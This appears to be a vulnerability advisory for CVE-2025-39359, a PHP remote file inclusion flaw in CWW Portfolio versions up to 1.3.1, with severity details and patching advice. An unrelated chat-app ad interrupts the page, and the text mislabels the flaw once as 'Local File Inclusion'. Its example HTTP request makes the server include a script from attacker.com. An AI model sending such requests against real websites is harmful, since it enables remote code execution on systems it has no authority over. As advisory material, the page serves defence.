Overview
The CVE-2025-39359 vulnerability is a significant flaw in Code Work Web’s CWW Portfolio software. It involves an improper control of filename for Include/Require Statement in a PHP program, also known as a ‘PHP Remote File Inclusion’ vulnerability. This vulnerability can lead to potential system compromise or data leakage, making it a serious risk for any organization utilizing affected versions of CWW Portfolio.
Vulnerability Summary
CVE ID: CVE-2025-39359
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
Code Work Web CWW Portfolio | Up to and including 1.3.1
How the Exploit Works
The PHP Local File Inclusion vulnerability allows an attacker to include files from remote servers. This can be exploited to execute arbitrary PHP code by uploading a malicious PHP script on a remote server and then making a request to the affected application including this script. Due to poor input validation, the application fails to properly sanitize the file name for the PHP Include/Require statement, allowing for malicious file inclusion.
Conceptual Example Code
Here is a conceptual example of how this vulnerability might be exploited:
GET /index.php?page=http://attacker.com/malicious_script.txt HTTP/1.1
Host: vulnerable-website.com
In the above example, the attacker’s malicious script located at “http://attacker.com/malicious_script.txt” would be included and executed on the vulnerable web server.
Mitigation and Recommendations
Users of the affected Code Work Web CWW Portfolio versions are advised to apply the vendor-supplied patch as soon as possible. As an interim solution, organizations can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to help mitigate the risk. However, it is crucial to note that these are temporary solutions and do not replace the need for patching the underlying vulnerability.

